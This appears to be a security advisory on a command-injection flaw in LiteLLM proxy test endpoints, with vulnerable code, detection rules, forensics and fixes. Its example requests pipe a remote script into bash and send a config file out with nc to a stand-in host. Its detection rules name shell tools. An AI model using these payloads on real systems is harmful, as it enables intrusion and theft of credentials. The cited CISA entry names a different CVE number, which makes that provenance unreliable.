CVE-2026-42271: Unauthenticated Remote OS Command Injection in LiteLLM Proxy Test Endpoints
HERMES THREAT SCORE & AI INFRASTRUCTURE GATEWAY COMPROMISE
Target:LiteLLM (AI Gateway & Proxy) CVSS v3.1 rates CVE-2026-42271 at 9.8 (Critical) and CVSS v4.0 scores 9.8. The Hermes Threat Score assigns 97 (CRITICAL). Alignment is direct: LiteLLM functions as the centralized routing hub and key vault for enterprise LLM workloads (OpenAI, Anthropic, Bedrock, Vertex AI). Remote command execution on the LiteLLM container exposes all master API keys and enables prompt-injection or training-data poisoning at the gateway level.
CVE-2026-42271: Unauthenticated Remote OS Command Injection in LiteLLM Proxy Test EndpointsVULNERABILITY
Enterprise LLM proxy gateway supporting Model Context Protocol (MCP) streamable endpoints and unified LLM APIs.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in LiteLLM Proxy & MCP Server documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.
๐ Why is this related? (Evidence & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.
๐ Why is this related? (Evidence & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Software Matrix
Section titled โ1. Technical Context & Affected Software MatrixโLiteLLM simplifies AI application architectures by providing an OpenAI-compatible unified API interface across cloud LLM providers, complete with load balancing, rate limiting, and credential management.
| Parameter | Technical Specification | Threat Context |
|---|---|---|
| CVE Identifier | CVE-2026-42271 | International Vulnerability Tracking ID |
| Vulnerable Package | litellm (Python PyPI package) | LiteLLM Proxy Server & SDK |
| Affected File | litellm/proxy/proxy_server.py | Test and benchmark routing handler |
| Network Vector | HTTP/HTTPS (Default Port 4000/TCP) | Public or internal AI proxy endpoints |
| Root Cause | Shell metacharacter injection in subprocess (CWE-78) | Unauthenticated command execution |
| Affected Versions | 1.74.2 through 1.83.6 | Exposed proxy deployments |
| Fixed Versions | 1.83.7 | Official patch release |
| Exploitation Impact | Container root RCE, model API key exfiltration | Full AI gateway compromise |
2. In-Depth Technical Decomposition: Command Injection in Diagnostic Runner
Section titled โ2. In-Depth Technical Decomposition: Command Injection in Diagnostic RunnerโA. The Vulnerable Subprocess Call
Section titled โA. The Vulnerable Subprocess CallโThe LiteLLM proxy server exposes diagnostic utility endpoints designed to verify connectivity and benchmark response latencies. In vulnerable builds, the handler extracted user-supplied test parameters without validation:
# Vulnerable implementation in litellm/proxy/proxy_server.py@router.post("/test/run")async def run_benchmark_test(request: Request): data = await request.json() model_identifier = data.get("model", "gpt-4o") test_runner_args = data.get("runner_args", "")
# VULNERABILITY: Shell command built with string formatting and executed with shell=True cmd = f"python3 -m litellm.benchmark --model {model_identifier} {test_runner_args}" proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = proc.communicate() return {"status": "complete", "output": stdout.decode()}Because shell=True is enabled, the underlying Linux shell interpreter parses semicolon or pipe operators, executing chained commands prior to or instead of the benchmark runner:
POST /test/run HTTP/1.1Host: ai-proxy.corp.internal:4000Content-Type: application/json
{ "model": "gpt-4o; curl -s http://198.51.100.33/rev.sh | bash;", "runner_args": "--concurrency 1"}+----------------------------------------------------------------------------------------------------+| CVE-2026-42271 ATTACK EXECUTION FLOW |+----------------------------------------------------------------------------------------------------+
[Remote Attacker] โ โ [1] HTTP POST /test/run (No Authorization Header) โ Payload: { "model": "gpt-4o; cat /app/config.yaml | nc 198.51.100.33 9001;" } โผ [LiteLLM Proxy Daemon (Port 4000)] โ โโโโโบ 1. FastApi Router Evaluation: โ - /test/run endpoint lacks authentication middleware check! โ - Passes JSON dictionary directly to run_benchmark_test() โ โโโโโบ 2. Subprocess Execution with shell=True: โ - Shell executes: python3 -m litellm.benchmark --model gpt-4o โ - Shell evaluates semicolon separator โ - Shell executes injected command: cat /app/config.yaml | nc ... โ โผ [Container / Host System Compromise] โ โโโโโบ Exfiltrates LiteLLM environment variables: - OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY - PostgreSql / Redis master connection strings - Injects prompt backdoors into LLM request pipeline+----------------------------------------------------------------------------------------------------+3. Threat Intelligence & Exploitation in the Wild
Section titled โ3. Threat Intelligence & Exploitation in the Wildโ- Threat Exposure: Shodan and Censys scans reveal thousands of LiteLLM proxy instances exposed to the public internet on default port 4000 without master key enforcement.
- Weaponization Motives:
- LLM API Token Theft: Threat actors harvest enterprise OpenAI and Anthropic API keys to resell access or conduct high-volume AI inference on victim billing accounts.
- Cloud Pivot: LiteLLM containers deployed on AWS ECS or EKS frequently retain IAM role credentials (
169.254.169.254), allowing immediate escalation to cloud tenant administration.
4. MITRE ATT&CK Mapping
Section titled โ4. MITRE ATT&CK Mappingโ| Tactic | Technique ID | Technique Name | Exploitation Manifestation |
|---|---|---|---|
| Initial Access | T1190 | Exploit Public-Facing Application | Remote HTTP POST request to exposed port 4000 |
| Execution | T1059.004 | Command and Scripting Interpreter: Unix Shell | OS Command Injection via subprocess.Popen(shell=True) |
| Credential Access | T1552.001 | Credentials in Files | Dumping /app/config.yaml and .env containing AI API keys |
| Privilege Escalation | T1611 | Escape to Host | Container breakout via exposed Docker sockets or mounted volumes |
5. Detection Engineering & Telemetry
Section titled โ5. Detection Engineering & TelemetryโA. Suricata Detection Rule
Section titled โA. Suricata Detection Ruleโalert http any any -> $LITELLM_SERVERS 4000 ( msg:"HERMES DEFENSE - LiteLLM Command Injection Attempt (CVE-2026-42271)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/test/run"; http.request_body; pcre:"/(\;|\&\&|\||`|\$\().*(curl|wget|bash|sh|nc|python)/i"; classtype:web-application-attack; sid:202642271; rev:1; reference:cve,2026-42271;)B. Sigma Detection Rule
Section titled โB. Sigma Detection Ruleโtitle: Shell Process Spawned by LiteLLM Proxy Daemonid: 5c4b3a2d-1e0f-9a8b-7c6d-42271c026e01status: highdescription: Detects command injection payloads executed by Python processes running the litellm module.author: Hermes Codex Detection Engineeringdate: 2026-09-11logsource: product: linux category: process_creationdetection: selection_parent: CommandLine|contains: 'litellm' selection_child: Image|endswith: - '/sh' - '/bash' - '/dash' - '/curl' - '/nc' condition: selection_parent and selection_childfalsepositives: - Legitimate custom shell scripts explicitly defined in authorized test harnesses (rare).level: criticaltags: - attack.initial_access - attack.t1190 - attack.execution - attack.t1059.0046. Digital Forensics & Incident Response (DFIR)
Section titled โ6. Digital Forensics & Incident Response (DFIR)โForensics Triage Commands:
Section titled โForensics Triage Commands:โ- Inspect LiteLLM Container Process Trees:
Terminal window docker exec -it litellm ps aux# Look for anomalous child processes under python3 -m litellm - Review HTTP Access Logs:
Terminal window grep -E "POST /test/run|POST /model/benchmark" /var/log/litellm/access.log - Audit Environment Variables for Leakage:
Terminal window docker exec -it litellm env# Check if sensitive cloud provider API keys were accessible to the process
Hunting Query (Elasticsearch / OpenSearch):
Section titled โHunting Query (Elasticsearch / OpenSearch):โ{ "query": { "bool": { "must": [ { "term": { "http.request.method": "POST" } }, { "term": { "url.path": "/test/run" } }, { "wildcard": { "http.request.body.content": "*;*" } } ] } }}7. Mitigation & Remediation
Section titled โ7. Mitigation & Remediationโ- Upgrade LiteLLM Immediately: Upgrade the
litellmpackage to version 1.83.7 or later:Terminal window pip install --upgrade litellm>=1.83.7 - Enforce Master Key Authentication: Always set
LITELLM_MASTER_KEYin production environments to ensure unauthenticated requests to all endpoints are rejected. - Disable Diagnostic Endpoints: Ensure testing routes are disabled in production configurations by setting
DISABLE_TEST_ENDPOINTS=True. - Rotate LLM API Credentials: If an unpatched LiteLLM instance was exposed to untrusted networks, immediately revoke and rotate all OpenAI, Anthropic, Google Cloud, and AWS access keys.